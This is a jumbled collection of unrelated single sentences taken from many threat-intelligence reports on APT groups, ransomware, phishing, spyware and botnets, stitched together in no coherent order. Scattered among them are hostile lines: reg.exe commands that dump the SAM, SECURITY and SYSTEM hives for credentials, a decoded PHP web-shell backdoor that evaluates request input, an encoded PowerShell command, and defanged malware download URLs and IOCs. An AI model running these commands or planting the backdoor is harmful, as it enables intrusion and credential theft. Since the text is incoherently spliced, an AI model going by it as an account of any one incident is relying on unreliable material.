Attackers will cast a wide net, with no regard to who the victims are, hoping that a decent percentage of attacks are successful.


And before long, Yuki Chen (@guhe120), a Chinese researcher, posted his answer.


Analyzing the compile time of binaries between different samples can also provide a level of correlation between samples.


The group has spent more than a year attacking organizations where IT outages can have life-threatening consequences: hospitals, 911 dispatch carriers, emergency medical services and law enforcement agencies.


The following example response will instruct the malware to download a remote executable file:  'filename.exe' is the path where the downloaded file will be stored, and '01234567890123456789012345678901' is the value supplied in the subsequent HTTP request.


Figure 10. .satan file Conclusion


By then, Angler’s activities already ceased.


In the above example, the resource being protected isn’t the right to speak, as many might think, but rather the ability to listen.


This means that RTF documents expose the same attack surface as Internet Explorer!


Updated April 1, 2022, at 11 a.m. PT.


The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.


Ransom notes from Makop, Dharma, Ryuk, DearCry and others, sometimes ask victims to reach out to them via email.


This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.


Some of these third-party SDKs provide IAP services based on existing online payment platforms.


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The vendors that were targeted by VPNFilter were Asus, D-Link, Huawei, Linksys, MikroTik, Netgear, QNAP, TP-Link, Ubiquiti, UPVEL, and ZDE.


Many of the StealthMutant samples we have analyzed use AES-256-ECB for decryption; alternatively, an earlier variant of the loader uses XOR.


We have seen it deployed against fewer than two dozen accounts located in Iran.


Figure 3. Letter confirming the changes in the company’s bank reference.


The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.


Figure 6. Code showing down_new’s command function  Table 1.


The lures used in an older campaign from April 2021 impersonated the Federal Board of Revenue.


And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.


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The loader checking the sidebar process Figure 8.


The malware tries to check if the target machine has a USB plug-in and copies the USBferry installer into the USB storage.


Figure 8: Calling the decryption function This encouraged us to analyze the string encryption routines thoroughly.


We also recommend that administrators keep the versions of any e-commerce platforms in use by their websites up to date to prevent any potential vulnerabilities, including XSS attacks.


These were signed with the same fake Google certificates.


Configuration decoding function (left: SmileSvr right: Troj_Yahamam)      Figure 15. Function used to split different values in configuration file (left: SmileSvr right: Troj_Yahamam)


Attackers target home routers like this by targeting default passwords and out-of-date software on the routers.


There is some malware that exploits some vectors outlined in this article, but Palo Alto Networks Unit 42 is not aware of any active attacks against this particular vulnerability at this time.


tomcatlogin.jsp


Microsoft Excel document .ppt, .pptx Microsoft Powerpoint presentation .pptx


< Data >


However, in some cases, a device might be an end-of-life product and will no longer receive updates from its vendor.


Simply explained:  Figure 1 Conversation Hijacking to Deliver Malware  Unit 42 observed this specific attack taking advantage of a vulnerability in Microsoft Office, which has a patch available.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  d18d84d32a340d20ab07a36f9e4b959495ecd88d7b0e9799399fcc4e959f536b  flash_installer.exe


When he finds one that is still in progress, he crafts a malicious attack email that seems to be relevant to the ongoing email conversation and sends it to Bob as shown in the bottom figure.


We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


The first way involves appending a fake login form to the page.


Moving to more targeted attack methods appears to be a mainstay among threat actors, which requires organizations to improve their visibility into the entire attack lifecycle.


The evasive nature of this malware family leads to a different file hash, import hash, and only a 20% average SSDeep hash overlap between the samples.


As of this writing, our telemetry has detected infection attempts in China.


The JBS cyber attack comes just three weeks after Colonial Pipeline, the US's largest pipeline system, was targeted in a ransomware attack.


3.      “noreturn”: executes a system command using the Python function “win32api.ShellExecute” without waiting for the result.


When ConfuserEx performs its obfuscation routine, one of the operations creates a watermark – a unique identifier within the software--that is present in the final binary.


The API hooking on “ZwOpenProcess” will only be triggered if "%temp%\KERNELBASE.dll" exists on the host.


RCA Diagrams:      Fig. Executing commands using Chopper CnC     Conclusion


This threat actor has done little to hide malicious activity, and is probably going to continue this behavior.


Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.


No months are plotted, so this figure is like compressing all the activity across the full 2020-year in one day just to show the active hours in a day.


The vulnerabilities that Tropic Trooper’s campaigns have been patched last January, for instance.


It contains a generic privilege escalation exploit wrapper which is used by six different exploits.


Depending on the different argument “type” delivered with the command, it performs different behaviors.


For example, LockBit 2.0 leverages Tox Chat for threat actor communications.


This report discusses the technical capabilities of this Cyclops Blink malware variant and includes a list of more than 150 current and historical command-and-control (C&C) servers of the Cyclops Blink botnet.


Signed Binary Proxy Execution: Rundll32 T1036.005


The three vulnerabilities each contain code to alter a user-controlled address, and the code can be distilled down to the following operations:


It’s the apps you use to view content.


Open source malware like Sorano and AdamantiumThief were also observed.


We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.


In the same way that the kill chain has become an outdated concept, so has the notion that EDR is sufficient to speed up detection and response by solely using the endpoint.


Figure 14.


X-Mailer: CommuniGate Pro WebUser v5.3.2


The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.


Just like in previous operations, they continue to make small changes, such as targeting other countries, entities, or the combination of techniques used for deployment, for each campaign.


OMI is used by Microsoft Azure to manage UNIX packages within Azure virtual machines (VMs), containers and serverless cloud instances.


Figure 5. Hardcoded RSA256 key showing the first 20 characters


The attacker steals the victims computing resources and translates it into a cryptocurrency like Bitcoin.


Meanwhile, the .DOC VBA macros retrieves the MSI files from hxxp://195.123.245.185/km or hxxp://185.225.17.5/km, which executes the NSIS installer for ServHelper installation.


Attacks aren't getting any less sophisticated, so it is time to leave legacy security solutions behind and upgrade to real, prevention-based security.


APP provides the strongest protections available against phishing and account hijacking and is specifically designed for the highest-risk accounts.


We first came across the threat in May on the site http://gooogle[.]press/, which was advertising a chat app called “Chatrious.”


If the user clicks the “Update to Full Protection” button they will be prompted to subscribe to a service that costs $4.99 (US) per month through In-App Purchase of Google Play (Figure 3).  Figure 3


This targeting is consistent with what others have subsequently reported.


To protect enterprises against malicious activities, we need more than just timely patches.


Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.


Lateral Movement: Moving in for the Kill


When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.


They have focused most of their efforts on planting crypto-mining malware on cloud servers in an effort to mine Monero coins, but we have also seen them utilize DDoS IRC bots, steal cloud account credentials, and exfil data.


The image (Figure 3) taken from an analysis of Freenki shows that the same logic applies when the resource is compiled into the binary.


TrustedSec reports on how attackers were apparently able to glean user credentials from a certain device via the Heartbleed vulnerability and use them to log in via a VPN.


Accounts for big universities (e.g., MIT, Stanford, etc.) are mainly used to access respective library services and resources, "including research help, study spaces, print and electronic books/journals and more."


Figure 1 shows the proportion of ransomware sample numbers for different families that Unit 42 detected in the wild.


The WanaCrypt0r ransomware spreads itself by heavily scanning over TCP port 445 (associated with SMB) and attempting to exploit the ETERNALBLUE vulnerability on systems.


The payload seems to be a product of extensive software engineering.


Many of these also use the x4k name in the domain.


The group dumps credentials stored in registries by using reg.exe: reg.exe save hklm\sam C:\Users\Public\Downloads\sam.hive reg.exe save hklm\sam c:\windows\temp\sa.dit reg.exe save hklm\security c:\windows\temp\se.dit reg.exe save hklm\system c:\windows\temp\sy.dit


Updated June 18, 2018, 10:05 AM to add new IoC information from IssueMakersLab's July investigation.


Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.


More technical details about this vulnerability are available in this RCA by Maddie Stone.


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The fake Adobe Flash Player download page of the watering hole attack      Figure 5.


The malware then attempts to read the following file.


One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.


We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  2b580af1cdc4655ae75ef503aba7600e05cdd68b056a9354a2184b7fbb24db6f  Silverlight_ins.exe


The Iron Tiger APT group has used the HyperBro malware family since at least 2017.


Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info


XDR is intended to be that security data lake of deeper enterprise infrastructure and security information than we’ve previously gathered in a single addressable pool and designed to be useful for threat hunters and analysts.


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Fortunately, there are emerging technologies now that can better counter DGAs.


In other cases, for example that of Microsoft, there was simply publication without extortion, again supporting the understanding that the primary motivation of this actor is notoriety rather than financial gain.


Within these files is a link to an attacker controlled phishing domain.


In 2020, Pawn Storm often tries to obfuscate these brute force attempts by routing their attack traffic over Tor and VPN servers.


Host IOCs Registry Keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update File Paths C:\Windows\System32\Nwsapagent.sys C:\Windows\System32\helpsvc.sys C:\ProgramData\USOShared\uso.bin C:\ProgramData\VMware\vmnat-update.bin C:\ProgramData\VirtualBox\update.bin


If you’re not sure how to do this, contact your Internet Service Provider (ISP) that gave you the router for help.


First, the $IDFX variable uses XOR operation (see character ^) to decode the string “create_function”, then the resulting base64 string is decoded to @eval($_REQUEST['ec_ver2update']); which is the backdoor’s code.


However, as we’ve seen, Magecart has hit big-name brands as well as less well-known companies.


In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm.


Maikspy on the Windows platform  Figure 7.


In addition, a publicly available JoeWare domain tool called LG.exe, which is quite popular among attackers and domain admins alike, was installed and used in the attack.


Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).


theme0.xml is extracted to /tmp/system/word/theme/syslogd before it’s executed.


In the simple phishing example below, an attacker has sent a phishing email with a security alert lure from “Goolge” suggesting the user secure their account.


Further analysis has confirmed that the malware accepts command-line arguments allowing an attacker to instruct the malware to sleep for a period of time or to shut down the system.


ObliqueRat attack chain


A good example of a generalized phishing campaign is the Blank Slate Campaign we wrote about in March 2017.


Each of these applications is designed to appear like a legitimate application already in the app store.


Further research uncovered other dropped files involved in this attack.


A perceptive employee could potentially identify this as something unusual, which raises red flags.


Put another way, the ransomware model represented both increased efficiency and decreased risk in monetizing the infection.


The attackers are doing this by using URL shorteners to make XMRig look like other, legitimate, and expected programs.


Reports quickly emerged that this attack was effective due to the presence of code exploiting a vulnerability (CVE-2017-0144) in Microsoft Windows (code named: ETERNALBLUE) that was released as part of the Equation Group dump by the Shadow Brokers in their fifth leak on April 14, 2017.


RATANKBA main console interface


These services include selling access to virtual machines loaded with stolen credentials (dont[.]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.


And cyberspace is just one of them now, but we're getting into this unique area which we anticipated…could cyber conflict be the main domain that is being acted upon?


Since exploitation is straightforward and all the relevant technical details have already gone viral on the internet, it’s possible that SpringShell will become fully weaponized and abused on a larger scale.


Supernova, one of the malicious components associated with the attack, is a .NET web shell backdoor that presents itself as a legitimate SolarWinds web service handler.


This check exists in a number of the subsequent processes/executables used by the TDrop2 malware variant.


For example, we detected a website that was distributing a malicious binary by masquerading as a popular global communication app targeting users in Ukraine.


[00:59] It makes for interesting cinema, just like the red code/green code in CSI Cyber, but it's not a reflection of reality and that's a real challenge.


Checks environment information 0x500E Unknown


In addition, a URL linking to one of the apps’ Google Play pages is also found on one of the C&C servers.


Before it encrypts any file, the ransomware also performs certain preparatory routines.


These database files are used for saving the chat history.


Once extracted, the file writes it to a new file on disk prior to executing it.


A consolidated view of all security sensors provides a single-pane-of-glass view that will promote quick and thorough investigation and response.


Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https://sites.google[.]com/view/ty85yt8tg8-download-rtih4ithr/ https://sites.google[.]com/view/user-id-568245/ https://sites.google[.]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/  Abused Dropbox Properties: https://www.dropbox[.]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf


In this environment blocking and taking down DGA-related domains quickly becomes a game of “whack a mole” that is sometimes futile.


In our previous entry, we already covered the Delphi component in the context of the Confucius and Patchwork connection.


The script then waits 20 minutes before it runs the wrapper script initall: 2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a  initall  Figure 2.


Users were instructed to activate an invitation to a (fake) webinar by logging in.


(SC) StartService FAILED 1275:                This driver has been blocked from loading


In fact, a 32 byte length is always read, which could lead to a buffer out-of-bounds condition.


The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.


Note that this does not cover all the samples – it is possible that other payloads are being deployed as well.


We found that the BIOPASS RAT has the ability to open an HTTP service running on localhost on a port chosen from a hard-coded list.


The developer is aware of this concern and plans to encourage more of its customers to sign their own applications in the coming year.


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A challenge many organizations face is that the cloud isn’t simple, and many of the technologies that make up the cloud are new, with new features being deployed all the time.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  7d0d7d416db5bd7201420982987e213a129eef2314193e4558a24f3c9a91a38e  flash_installer.exe


JuneWe terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.


Users will interact with the window, thinking they are performing their intended function, but they are actually engaging with the attackers overlay window and executing the attacker’s desired function.


Currently these IP addresses are alive and active.


Note: This is not an all-inclusive list of the protections provided by Palo Alto Networks.


This underscores why credential theft is something that organizations should prioritize as a top threat and take steps to understand it and prevent it.


The reason is because most SMS-based IAP SDKs include comprehensive functionalities to monitor, manage, and even intercept a user’s SMS communication silently in the background, without any user interaction or knowledge.


The capability of ChiserClient is shown in the following table:  Command code Function 0x10001


According to JoloPlay’s website, these 17 games have been downloaded and installed more than 1.7 million times.


The specificity of their targets stems from the social engineering tactics used.


analysis sample  PClock2 is written in Visual Basic.


Figure 13.


log


It conducts this identification by testing whether the port is open or not and then by checking the response.      Figure 3.


The latest version of the Petya ransomware is spreading over Windows SMB and is reportedly using the ETERNALBLUE exploit tool, which exploits CVE-2017-0144 and was originally released by the Shadow Brokers group in April 2017.


From an engineering point of view, this sole, specific targeting of files that matter significantly increases the chances of ransomware’s success.


This vulnerability exists within the Microsoft Server Message Block 3.0 (SMBv3), specifically regarding malformed compression headers.


For the foreseeable future, Microsoft may introduce more defensive mechanisms against use-after-free bugs or even heap fengshui to reduce the risk of being exploited.


The US Department of Energy (DOE) recently launched the Operational Technology (OT) Defender Fellowship.


In the case of Cyclops Blink, we received samples targeting Asus routers that were not previously reported on.


Afterward, one more warning about the unverified developer is displayed.


Execution of arbitrary commands via session id


OceanLotus commands and descriptions


What is it?


We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.


The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server.


In our environment, we did not receive any payloads past this stage.


Two months later, the C&C server was changed to hxxp://miakhalifagame[.]com.


This script was designed to show a social engineering message — typically a Flash update popup or a DNS error (note that Adobe discontinued Flash Player at the end of December 2020) that then instructed the visitor to download a malicious file that turned out to be a Cobalt Strike loader.


Additionally, Prisma Cloud users can also build a custom vulnerability detection rule to identify if any system is running an OMI package with a version previous to 1.6.8.1.


This is the first known instance of Turla distributing Android-related malware.


Enabling the macros of the Excel file downloads a file created using NSIS installer with ServHelper from 79[.]141[.]168[.]105 or 195[.]123[.]213[.]126.


Palo Alto Networks and Unit 42 will continue to monitor for evidence of exploitation and further novel use cases.


Apart from knowledge and awareness of phishing and social engineering, it is also important to be prepared with effective and layered security solutions.


The adult game first used by the attackers was also found in the list of games advertised by hxxp://www[.]roundyearfun[.]org Our analysis revealed that hxxp://www[.]roundyearfun[.]org was also used as a C&C address to save victims’ data.


We have captured over 18,000 samples that contain the SMS stealing library since August 2015, meaning the number of affected users is considerable.


Apart from locking Colonial Pipeline’s computer systems, DarkSide also stole over 100 GB of corporate data.


Figure 12 shows a comparison between the two samples.


For client mitigation, recommend creating an outbound firewall rule to block SMB outbound on public and private interfaces.


Our analysis revealed that they drop a new backdoor, which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor.


The following information is collected:


Conclusion


Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.


For one, there is the domain pikrpro[.]eu and its subdomains—the islamicfinderfeedback[.]pikrpro[.]eu and the memrifilesforinfo[.]pikpro[.]eu.


Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.


We found a BEC mail sample that was sent from the same IP.


Unit 42 recommends customers upgrade to the latest release of Confluence Server and Data Center.


After it finished the encryption routine, PClock2 generates a VBScript file in the following directory:


One of the files, rsync, is an initially obfuscated Perl-based Shellbot capable of multiple backdoor commands such as file downloading, shell cmd execution, and DDoS.  Figure 4. Obfuscated Perl script  Figure 5.


BAT.KILLAV.YACAA


Communication with C&C uses sockets and is encrypted with simple SUB 0x46, XOR 0x19 encryption.


The downloaded file is dropped to the system32 folder.


It also takes spear phishing attacks to a level that makes it nearly impossible to distinguish an attack email from a legitimate email.


As they continue to target businesses in different sectors, we can expect TA505 to keep using phishing and social engineering techniques to compromise systems.


Two instances of PowerShell are spawned with an encoded command to sleep for 10 seconds, e.g. C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA== 3.


When an app is published to the Google Play Store, the certificate information is included within the APK file.


If the file (that is, the marker) is not found, the backdoor creates a new one and writes the current timestamp onto it.


The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.


AutoFocus users can find more information on samples and indicators related to this attack by viewing the PClock tag.


We’ve contacted the developer to confirm they have retained sole custody of the keys.


Again, using the same private key is probably due to the convenience in app management.


Similar to the routine variant in Figure 6, the Excel VBA macros retrieve the FlawedAmmyy downloader from hxxp://195[.]123[.]245[.]185/r1 or hxxp://185[.]225[.]17[.]5/r1, in then decrypts and executes FlawedAmmyy RAT from hxxp://185[.]225[.]17[.]5/2.dat or hxxp://195[.]123[.]245[.]185/1.dat.


tfsdne:


The price for this custom account was only ¥27 RMB ($4.40 USD); for an extra ¥13 RMB ($2.12 USD), the buyer can request a custom username at any subdomain for the given institution.


Figure 4. HTTP POST request containing file paths of malware  After installation, PClock2 will also set the following registry key with a value of ‘INSTALL_OK’.


Credential access


The malware we analyzed is separated in two files: a loader, and the payload.


The question asked on a forum showing the payload related to Water Pamola.


TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.


A phishing webpage targeting a Ukrainian state administration employee, detected by our in-house machine learning models on March 16.Our teams at Palo Alto Networks are actively monitoring the phishing landscape surrounding Ukraine-related URLs and are sharing this threat intelligence with relevant authorities in Ukraine and internationally.


The application is a simple downloader that sends some basic information (username, antivirus, IP address, and operating system version) encrypted using triple Data Encryption Standard (DES).  Figure 4.


Unit 42 is not aware of any reports where paying the ransom to the WanaCrypt0r attackers has resulted in the recovery of data.


On one end of the spectrum are places like universities that maybe manage 10% of the endpoints on their network.


While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.


This post is also available in:      日本語 (Japanese)  The Lapsus$ Group threat actor has grown in just a few months from launching a handful of destructive attacks to stealing and publishing source code of multiple top-tier technology companies.


The script for modifying the shop page header to inject a web shell


In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.


Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.


While we haven’t seen any indication that the spam volume has begun to slow down, we do expect the campaign to wind down in the next 24 hours, but a new campaign will probably be close behind.


We also found that these versions encrypt the communication to its C&C servers.


We’ve recently published a new Unit 42 white paper on credential theft that we encourage you to read.


CISA ordered government agencies to patch now or disconnect their on-premises Exchange servers.


The following table shows their targets, related phishing domains, and lure documents used in each of the phishing attacks.  Date  Phishing Domain  Targeted Organization  Targeted Mail server  Redirection after login  2019 Nov     Government of Nepal  mail.nepal.gov.np  Redirect to file “IMG_0002.pdf”  2019 Nov     Ministry of Defence, Nepal  mail.mod.gov.np  Redirect to original mail server  2019 Dec  mail-


This was well-intentioned but ultimately backfired: users got fed up clicking “Are you sure?” dialog boxes and quickly disabled the feature, or just mindlessly clicked “OK” every time they saw it.


And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.


Scrambling ‘Mac OSX 10.12’ Encryption


However, these are not the only commonalities.


With bipartisan support, the decision was made to deprive the Putin regime of the economic resources needed to wage war in Ukraine.


And since the API hooking shellcode adopts a generic approach, a similar code snippet might be used to target other products in the future and make Waterbear harder to detect.


We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


It was last updated on May 27, 2020.


Marade will check if the infected host can connect to the internet and if it is installed with anti-virus (AV) software.


Please mark, I'm not a robot!


There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.


Of note, three of the Google Code projects associated with the newly uncovered account were added during the past few days, indicating it is still in active use.  Below is a current screenshot of the newly uncovered Google Code account’s projects.


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


Even though not all devices can use password managers directly, it’s still one of the best things you can set up.


= 3096481936;


Right: TClient)


This list aims to aid cybersecurity defenders in searching for affected devices in their networks and starting the remediation process.


A log file is written containing a count of the emails that were downloaded.


Even then, taking down sites that malware using a DGA can be a challenge as defenders have to go through the process of working with ISPs to take down these malicious domains one by one.


In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.


In recent research, we found attackers were using fake versions of some well-known and well-trusted sites:


First seen  Last seen 5.135.120.57 12/4/18 1/24/19 5.135.199.25 3/3/19 3/3/19 31.7.62.48 9/26/18 9/29/18 51.77.11.46 7/1/19 7/2/19 54.36.73.108 7/22/19 10/05/19 54.37.48.172 10/22/19 11/05/19 54.38.124.150 10/28/18 11/17/18 88.150.221.107 9/26/19 11/07/19 91.134.203.59 9/26/18 12/4/18 109.169.89.103 12/2/18 12/14/18 109.200.24.114 11/19/18 12/25/18 137.74.80.220 9/29/18 10/23/18 137.74.157.84 12/18/18 10/21/19 185.122.56.232 9/29/18 11/4/18 185.125.204.57 10/25/18 1/14/19 185.175.138.173 1/19/19 1/22/19 188.165.119.138 10/8/18 11/19/18 193.70.71.112 3/7/19 3/17/19 195.154.41.72 1/13/19 1/20/19 213.32.113.159 6/30/19 9/16/19 216.244.93.137 12/10/18 12/21/18   Table 3.


Extra layers of protection for those files would be incredibly onerous.


When they did, attackers sent them phishing links in follow-on correspondence.


In addition to our research, the Baidu Security team in China recently found 23 mobile banking apps sharing the same certificate hosted by a third party app developer and reported the discovery to the CNCERT in China.


Organizations therefore need to take the time to put in place an incident response plan focused on the new model of ransomware attacks.


Due to the suspicious nature of this activity, we decided to investigate further.


King added that this DOE initiative will better protect the US from cyberattacks.


If the user clicks on the “No” button, malicious activity will not initiate.


Ransom demand


And so technological prevention controls (patching, robust security) are even more for effective prevention.


Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.


The BPS backdoor global configuration variable     The backdoor communicates with the C&C server using the Socket.io protocol.


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The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.


However, the SYSTEM_ADMIN account has a different pattern because the actions are mostly due to manual administration activities.


.Python.BIOPASS.A  30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7  cdaemon.txt  BIOPASS RAT Python Script (Cdaemon module)  Trojan


The three most common methods are taking over the software update mechanism to deliver an updated software with malicious code, exploiting misconfigured access controls, and targeting publicly accessible code libraries, and inserting malicious code, which unknowing customers then download to their systems.


The Ukrainian CERT has issued an alert on Bad Rabbit.


The image on the right showcases how the DLL on a victim's machine appears.


Unlike many web skimmers, which are designed to collect information from many kinds of e-commerce payment pages in general, the skimmer that the Mirrorthief group used was designed specifically for PrismWeb’s payment page.


We also show a preview of the security gaps we found in the standard’s specification and a summary of our testing procedure.


Encoding the encryption key


To further assess this threat, we purchased a customized, new account from a seller on Taobao.


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After choosing an IP address and a TCP port pair, the core component creates a child process to perform the communication.


Thus, there is a pressing need to detect and address threats via a proactive incident response strategy.


The BIOPASS RAT malware implements multiple commands, most of which are self-explanatory.


Once provided, the data in the "Identity" field is sent to a C2 for confirmation.


We also found several clues that show how the malware might be connected with the Winnti Group(also known as APT41).


The key is putting a policy in place and making sure your technology is enforcing that policy at the network layer.


However, while the original way of obtaining the class loader and exploiting it no longer works, a new feature of JDK was introduced in version 9, providing another way to obtain the class loader and making the exploit possible again.


The app callCam hides its icon on the device after being launched.


Finally we make the size of the CMemoryProtector::ProtectedFree management structure larger than 0x186a0 forcing the freeing operation.


Once inside a network, Bad Rabbit propagates itself to other systems.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


In cases such as these the common approach is to use sets of the data, in this case sets of mutexes, to create fingerprints of each sample and then leverage those fingerprints to extract higher confidence classification decisions.


Figure 6.


To learn more about how to protect smart factories and their critical operations, read Trend Micro's expertly crafted best practices and solutions:  Smart Factory Security Solutions Trend Micro Best Practices for Securing Smart Factories         Tags  Latest News | ICS OT | APT & Targeted Attacks | Ransomware | Articles, News, Reports | Cyber Threats


Once you can identify the traffic, you need to separate the good from the bad.


We consider BIOPASS RAT as still being actively developed.


In order to hide the behaviors of the first-stage backdoor (which is the second payload), the first payload uses API hooking techniques to avoid being detected by a specific security product and to make an interference in the result of the function execution.


Jon:


Enterprises and organizations should have comprehensive and efficient protection, detection, prevention, and remediation based on real-time, higher-confidence alerts to protect critical data and operations from sophisticated attacks and threats.


Exploiting the human psyche with chat apps Probing Confucius’ infrastructure, we came across websites offering Windows and Android chat applications, most likely iterations of its predecessor, Simple Chat Point: Secret Chat Point, and Tweety Chat.


Additionally, the actors have now added the popular PlugX backdoor to their toolkit.


In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.


Asus module main loop     If the data coming from the core component starts with “<p:”, it means that it is a parameter for this module and 80 bytes will be written to the flash memory, effectively replacing its content.


We also found multiple Android APK files on their phishing server.


During our investigation into Earth Centaurs activities, we found that it also uses another backdoor called Lilith RAT.


That supports our assumption that SharpChisel could not be configured correctly, and the attacker instead used PowerShell to download and run the legitimate procdump64.exe utility.


Funtasy does this even when the victim uses alternative SMS managers, like Google Hangouts or GO SMS Pro.


The actor is also responsible for the abuse of commonly used authentication mechanisms.


Dialog box that appears to victim when VBS attempts to run


In the months since the WanaCrypt0r/WannaCry and the Petya/NotPetya attacks, security researchers have delved into the nuts and bolts these incidents and the malware involved.


Figure 1.


Therefore, there appears to be little reconnaissance as part of this attack.


We believe these docker containers are also part of internal testing efforts using publicly available docker containers, such as Spring4Shell-POC.


To avoid having this request rejected by the server, the Trojan alters its user-agent string to appear as Internet Explorer 9 running on Windows 7.


The user eventually downloads an archive file containing either a malicious LNK file or an executable — eventually leading to a Cobalt Strike loader.


One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.


We believe its use is growing, fueled by demand from governments.


For the sake of clarity, I will refer to this newer version of PClock as PClock2 going forward.


Figure 2. asycfilt.dll shown among loaded module names      lz32.dll is opened based on process monitoring tools.       Figure 3. lz32.dll shown among opened files      Only PuppetLoader’s dropper payload is loaded and none of the previously mentioned libraries is actually loaded.


Both SMS sending and SMS blocking will only affect Android phones with a valid Chinese mobile phone number.


However, in our case, this was difficult as we are comparing samples from 2016-2017 to those developed in 2020.


It is interesting to note that DarkSide’s ransom note is similar to that of Babuk, which might indicate that these two families share a link.


As a result, a lot of the function structure overlaps with Babuk, after getting past the obfuscation.


TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.


Security researchers from different organizations have been documenting and creating attack scenarios abusing these vulnerabilities as early as 2015.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


The final payload proceeds to enter its command and control loop.


This APT group (also referred to as Operation C-Major, PROJECTM, Mythic Leopard, and Transparent Tribe) has been known to use social engineering and phishing lures as an entry point, after which, it deploys the Crimson RAT malware to steal information from its victims.


Screenshot of the final payload to be sent to C&C server.


An extra component has been added to its sections.


Then the developer creates a controller to use the object trade as shown in Figure 2.  After that, the developer usually creates a request builder for the trade controller, which allows the web user to access the trade object remotely as shown in Figure 3.


rakesh.jsp


Avoid clicking on links that you get in email.


Lateral Movement  Petya uses three mechanisms to spread to additional hosts.


Figure 6.


As mentioned in the previous report on Operation Earth Kitsune, one of the espionage backdoors, named agfSpy, received a “JSON” configuration with a list of native Windows commands to execute.


The basic attack script provided by the framework could report the victim’s location and browser cookies.


